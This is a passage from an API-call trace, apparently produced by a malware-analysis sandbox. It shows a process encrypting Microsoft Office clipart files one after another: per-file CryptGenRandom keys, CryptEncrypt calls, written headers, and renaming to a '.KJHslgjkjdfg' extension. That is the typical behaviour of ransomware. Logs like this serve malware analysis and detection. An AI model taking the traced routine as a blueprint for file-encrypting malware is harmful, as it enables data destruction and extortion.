dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0238.687] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.689] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.689] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.689] GetProcessHeap () returned 0x2ef0000 [0238.689] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0238.689] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0238.689] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.689] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0238.690] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.690] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0238.690] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0238.690] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0238.690] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.690] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.690] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.690] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.690] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x184c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x184c, lpOverlapped=0x0) returned 1 [0238.691] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1850, dwBufLen=0x1850 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1850) returned 1 [0238.691] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.691] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1850, lpOverlapped=0x0) returned 1 [0238.692] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.692] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.692] SetEndOfFile (hFile=0x130) returned 1 [0238.694] GetProcessHeap () returned 0x2ef0000 [0238.694] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0238.695] GetProcessHeap () returned 0x2ef0000 [0238.695] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0238.695] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf.kjhslgjkjdfg")) returned 1 [0238.697] CloseHandle (hObject=0x130) returned 1 [0238.697] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f96e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73f96e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x543a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00768_.WMF", cAlternateFileName="")) returned 1 [0238.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0238.699] GetProcessHeap () returned 0x2ef0000 [0238.699] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0238.699] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0238.699] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0238.699] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0238.700] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.700] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.700] GetProcessHeap () returned 0x2ef0000 [0238.700] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0238.701] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0238.701] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.701] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0238.701] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.701] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0238.701] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0238.701] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0238.701] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.701] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.701] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.701] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.701] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x543a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x543a, lpOverlapped=0x0) returned 1 [0238.702] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5440, dwBufLen=0x5440 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5440) returned 1 [0238.703] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.703] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5440, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5440, lpOverlapped=0x0) returned 1 [0238.703] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.703] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.703] SetEndOfFile (hFile=0x130) returned 1 [0238.705] GetProcessHeap () returned 0x2ef0000 [0238.705] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0238.706] GetProcessHeap () returned 0x2ef0000 [0238.706] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0238.706] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf.kjhslgjkjdfg")) returned 1 [0238.707] CloseHandle (hObject=0x130) returned 1 [0238.708] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db71a00, ftCreationTime.dwHighDateTime=0x1bd4b39, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1db71a00, ftLastWriteTime.dwHighDateTime=0x1bd4b39, nFileSizeHigh=0x0, nFileSizeLow=0x16ee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00783_.WMF", cAlternateFileName="")) returned 1 [0238.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0238.710] GetProcessHeap () returned 0x2ef0000 [0238.710] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0238.710] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0238.710] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0238.710] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0238.719] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.719] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.719] GetProcessHeap () returned 0x2ef0000 [0238.719] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0238.719] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0238.719] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.719] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0238.719] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.719] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0238.719] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0238.719] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0238.720] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.720] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.720] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.720] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x16ee, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x16ee, lpOverlapped=0x0) returned 1 [0238.723] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16f0, dwBufLen=0x16f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16f0) returned 1 [0238.723] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.723] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x16f0, lpOverlapped=0x0) returned 1 [0238.724] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.724] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.724] SetEndOfFile (hFile=0x130) returned 1 [0238.727] GetProcessHeap () returned 0x2ef0000 [0238.727] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0238.727] GetProcessHeap () returned 0x2ef0000 [0238.727] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0238.727] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf.kjhslgjkjdfg")) returned 1 [0238.729] CloseHandle (hObject=0x130) returned 1 [0238.729] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x230f6700, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x230f6700, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x41c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00820_.WMF", cAlternateFileName="")) returned 1 [0238.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0238.730] GetProcessHeap () returned 0x2ef0000 [0238.730] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0238.730] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0238.730] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0238.730] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0238.732] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.732] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.732] GetProcessHeap () returned 0x2ef0000 [0238.733] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0238.733] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0238.733] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.733] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0238.733] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.733] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0238.733] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0238.733] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0238.733] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.733] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.733] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.734] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x41c2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x41c2, lpOverlapped=0x0) returned 1 [0238.734] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x41d0, dwBufLen=0x41d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x41d0) returned 1 [0238.735] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.735] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x41d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x41d0, lpOverlapped=0x0) returned 1 [0238.735] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.735] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x42a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.736] SetEndOfFile (hFile=0x130) returned 1 [0238.740] GetProcessHeap () returned 0x2ef0000 [0238.740] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0238.740] GetProcessHeap () returned 0x2ef0000 [0238.740] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0238.740] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf.kjhslgjkjdfg")) returned 1 [0238.742] CloseHandle (hObject=0x130) returned 1 [0238.742] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec395100, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec395100, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x28ae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00828_.WMF", cAlternateFileName="")) returned 1 [0238.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0238.743] GetProcessHeap () returned 0x2ef0000 [0238.743] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0238.743] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0238.743] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0238.743] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0238.746] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.746] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.746] GetProcessHeap () returned 0x2ef0000 [0238.746] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0238.746] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, 